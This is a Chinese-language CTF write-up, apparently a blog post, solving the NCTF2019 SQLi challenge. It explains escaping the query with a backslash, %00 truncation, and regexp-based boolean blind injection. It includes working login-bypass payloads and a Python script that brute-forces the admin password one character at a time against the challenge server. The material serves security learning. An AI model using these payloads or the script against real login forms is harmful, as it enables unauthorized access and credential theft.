[NCTF2019]SQLi 1&regexp注入

[NCTF2019]SQLi&regexp注入

知识点:

  • 无引号闭合,可以利用转义符 \
  • %00作为截断字符可以代替注释符#和-- -
  • regexp注入可以配合 ^ 来爆破字符
  • 解题:

    打开题目得到:

    在这里插入图片描述
    可以看做插入语句:

    select * from users where username='' and passwd=''
    

    在robots.txt页面发现:

    在这里插入图片描述

    访问hint.txt页面:

    在这里插入图片描述
    发现没有过滤 " 和 \

    并且当密码和admin密码相同时就能得到flag

    所有构造playload:

    username=&passwd=||1;%00

    测试:
    在这里插入图片描述
    username=&passwd=||0;%00

    在这里插入图片描述
    发现为ture时返回Location: welcome.php
    可以利用bool盲注进行注入,爆破passwd

    playload:

    username=\&passwd=||passwd/**/regexp/**/"^y";%00
    

    在这里插入图片描述

    利用python脚本爆破密码:

    import requests
    from urllib import parse
    import string
    import time
    
    url='http://ace11359-ed0b-4d9e-916a-74179b3d4dc2.node4.buuoj.cn:81/index.php'
    
    string= string.ascii_lowercase + string.digits + '_'
    
    flag=''
    
    for i in range(100):
        for j in string:
    
            data={
                "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
                #'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
                'username':"\\"
            }
            #print(data)
            res = requests.post(url=url,data=data).text
            #print(res)
            if 'welcome' in res:
                flag+=j
                print(flag)
                #print(res)
                break
            time.sleep(0.1)
        time.sleep(0.1)
    
    

    随便输入一个用户,用admin的密码登陆得到flag

    参考博客:

    https://blog.csdn.net/weixin_45669205/article/details/116137824

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值